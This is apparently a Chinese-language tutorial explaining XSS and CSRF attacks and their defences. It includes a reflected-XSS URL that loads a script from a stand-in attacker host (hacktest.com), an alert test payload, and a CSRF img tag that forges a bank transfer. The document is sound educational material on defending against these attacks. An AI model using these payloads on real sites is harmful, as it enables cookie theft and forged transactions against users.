XSS 和 CSRF

XSS攻击

跨站脚本攻击（Cross Site Scripting）本来的缩写为CSS，为了与层叠样式表（Cascading Style Sheets，CSS）的缩写进行区分，将跨站脚本攻击缩写为XSS。因此XSS是跨站脚本的意思。

XSS跨站脚本攻击（Cross Site Scripting），的本质是攻击者在web页面插入恶意的script代码（这个代码可以是JS脚本、CSS样式或者其他意料之外的代码），当用户浏览该页面之时，嵌入其中的script代码会被执行，从而达到恶意攻击用户的目的。比如读取cookie，session，tokens，或者网站其他敏感的网站信息，对用户进行钓鱼欺诈等。比较经典的事故有：

2011年6月28日，新浪微博被XSS攻击，大量用户自动转发微博、私信。自动关注用户，大量用户被莫名其妙地控制。因为可以使用JS代码代替用户单击按钮发送请求，所以损坏非常大。

XSS攻击的危害

通过 document.cookie 盗取 cookie中的信息
使用 js或 css破坏页面正常的结构与样式
流量劫持（通过访问某段具有 window.location.href 定位到其他页面）
dos攻击：利用合理的客户端请求来占用过多的服务器资源，从而使合法用户无法得到服务器响应。并且通过携带过程的 cookie信息可以使服务端返回400开头的状态码，从而拒绝合理的请求服务。
利用 iframe、frame、XMLHttpRequest或上述 Flash等方式，以（被攻击）用户的身份执行一些管理动作，或执行一些一般的如发微博、加好友、发私信等操作，并且攻击者还可以利用 iframe，frame进一步的进行 CSRF 攻击。
控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力。

XSS攻击的类型

反射型XSS攻击

反射型XSS漏洞常见于通过URL传递参数的功能，如网站搜索，跳转等。由于需要用户主动打开恶意的URL才能生效，攻击者往往会结合多种手段诱导用户点击。比如下面的URL：

http://x.x.x.x:8080/dosomething?message="<script src="http://www.hacktest.com:8002/xss/hacker.js"></script>"

或者

http://localhost/test.php?param=<script>alert(/xss/)</script>

POST的内容也可以触发反射型XSS，只不过它的触发条件比较苛刻（构建表单提交页面，并引导用户点击），所以非常少见。

攻击步骤：

1.攻击者构造出特殊的URL，其中包含恶意代码.
2.用户打开有恶意代码的URL时，网站服务器端将恶意代码从URL取出，拼接在HTML返回给浏览器.
3.用户浏览器接收到响应后解析执行，混在其中的恶意代码也会被执行。
4.恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户行为，调用目标网站接口执行攻击者指定的操作。

防御：

对输入检查
对请求参数进行检查，一旦发现可疑的特殊字符就拒绝请求。需要注意的是用户可以绕过浏览器的检查，直接通过Postman等工具进行请求，所以这个检查最好前后端都做。
对输出进行转义再显示
通过上面的介绍可以看出，反射型XSS攻击要进行攻击的话需要在前端页面进行显示。所以在输出数据之前对潜在的威胁的字符进行编码、转义也是防御XSS攻击十分有效的措施。

存储型XSS攻击

恶意脚本永久存储在目标服务器上。当浏览器请求数据时，脚本从服务器传回并执行，影响范围比反射型和DOM型XSS更大。存储型XSS攻击的原因仍然是没有做好数据过滤：前端提交数据至服务器端时，没有做好过滤;服务端在按受到数据时，在存储之前，没有做过滤;前端从服务器端请求到数据，没有过滤输出。

比较常见的场景是，黑客写下一篇包含有恶意JavaScript代码的博客文章，文章发表后，所有访问该博客的用户，都会在他们的浏览器中执行这段恶意js代码。

攻击步骤：

1.攻击者将恶意代码提交到目标网站的数据库中。
2.用户打开目标网站时，网站服务端将恶意代码从数据库中取出，拼接在HTML中返回给浏览器。
3.用户浏览器接收到响应后解析执行，混在其中的恶意代码也被执行。
4.恶意代码窃取用户数据并发送到攻击者的网站，或冒充用户行为，凋用目标网站接口执行攻击者指定的操作.

这种攻击常见于带有用户保存数据的网站功能，如论坛发帖，商品评论，用户私信等。

防御：
预防存储型XSS攻击也是从输入和输出两个方面来考虑。

服务器接收到数据，在存储到数据库之前，进行转义和过滤危险字符;
前端接收到服务器传递过来的数据，在展示到页面前，先进行转义/过滤;

不论是反射型攻击还是存储型，攻击者总需要找到两个要点，即“输入点”与”输出点”，也只有这两者都满足，XSS攻击才会生效。“输入点”用于向 web页面注入所需的攻击代码，而“输出点”就是攻击代码被执行的地方。

DOM型XSS

DOM型XSS攻击，实际上就是前端javascript代码不够严谨，把不可信的内容插入到了页面，在使用.innerHTML、.outerHTML、.appendChild、document.write()等API时要特别小心，不要把不可信的数据作为HTML插入到页面上，尽量使用.innerText、.textContent、.setAttribut()等.

攻击步骤：

1.攻击者构造出特殊数据，其中包含恶意代码。
2.用户浏览器执行了恶意代码
3.恶意窃取用户数据并发送到攻击者的网站，或冒充用户行为，调用目标网站接口执行攻击者指定的操作.

DOM型XSS攻击中，取出和执行恶意代码由浏览器端完成，属于前端javascript自身的安全漏洞.

总结

XSS类型	存储型	反射型	DOM型
触发过程	1.黑客构造XSS脚本 2.正常用户访问携带XSS脚本的页面	正常用户访问携带XSS脚本的URL	正常用户访问携带XSS脚本的URL
数据存储	数据库	URL	URL
谁来输出	后端web应用程序	后端web应用程序	前端js
输出位置	HTTP响应中	HTTP响应中	动态构造的DOM节点

一些其他的防范策略

HTTP-only Cookie:禁止JavaScript读取某些敏感Cookie，攻击者完成XSS注入后也无法窃取此Cookie属性：防止脚本冒充用户提交危险操作
在服务端使用HTTP的Content-Security-Policy头部来指定策略，或者在前端设置meta标答。
应对XSS攻击的主要手段还是编码与过滤两种，编码用于将特殊的符号 “<、>、&、’、””进行html转义，而过滤则是阻止特定的标记、属性、事件。如果你不愿意为了严格的安全而限制产品本身的灵活，那么我更建议采用“编码”的方案。

CSRF攻击

CSRF，即 Cross Site Request Forgery，中译是跨站请求伪造，是一种劫持受信任用户向服务器发送非预期请求的攻击方式。

通常情况下，CSRF 攻击是攻击者借助受害者的 Cookie 骗取服务器的信任，可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击服务器，从而在并未授权的情况下执行在权限保护之下的操作。

CSRF 情景

示例：银行网站 A，它以 GET 请求来完成银行转账的操作，如：

1	http://www.mybank.com/Transfer.php?toBankId=11&money=1000

危险网站 B，它里面有一段 HTML 的代码如下:

1	<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

首先，你登录了银行网站 A ，然后访问危险网站 B ，噢，这时你会发现你的银行账户少了 1000 块…

CSRF 攻击防范

验证码

验证码被认为是对抗 CSRF 攻击最简洁而有效的防御方法。

从上述示例中可以看出，CSRF 攻击往往是在用户不知情的情况下构造了网络请求。而验证码会强制用户必须与应用进行交互，才能完成最终请求。因为通常情况下，验证码能够很好地遏制 CSRF 攻击。

但验证码并不是万能的，因为出于用户考虑，不能给网站所有的操作都加上验证码。因此，验证码只能作为防御 CSRF 的一种辅助手段，而不能作为最主要的解决方案。

Referer Check

根据 HTTP 协议，在 HTTP 头中有一个字段叫 Referer，它记录了该 HTTP 请求的来源地址。通过 Referer Check，可以检查请求是否来自合法的”源”。

比如，如果用户要删除自己的帖子，那么先要登录 www.c.com，然后找到对应的页面，发起删除帖子的请求。此时，Referer 的值是 http://www.c.com；当请求是从 www.a.com 发起时，Referer 的值是 http://www.a.com 了。因此，要防御 CSRF 攻击，只需要对于每一个删帖请求验证其 Referer 值，如果是以 www.c.com 开头的域名，则说明该请求是来自网站自己的请求，是合法的。如果 Referer 是其他网站的话，则有可能是 CSRF 攻击，可以拒绝该请求。

添加 token 验证

CSRF 攻击之所以能够成功，是因为攻击者可以完全伪造用户的请求，该请求中所有的用户验证信息都是存在于 Cookie 中，因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的 Cookie 来通过安全验证。要抵御 CSRF，关键在于在请求中放入攻击者所不能伪造的信息，并且该信息不存在于 Cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token，并在服务器端建立一个拦截器来验证这个 token，如果请求中没有 token 或者 token 内容不正确，则认为可能是 CSRF 攻击而拒绝该请求。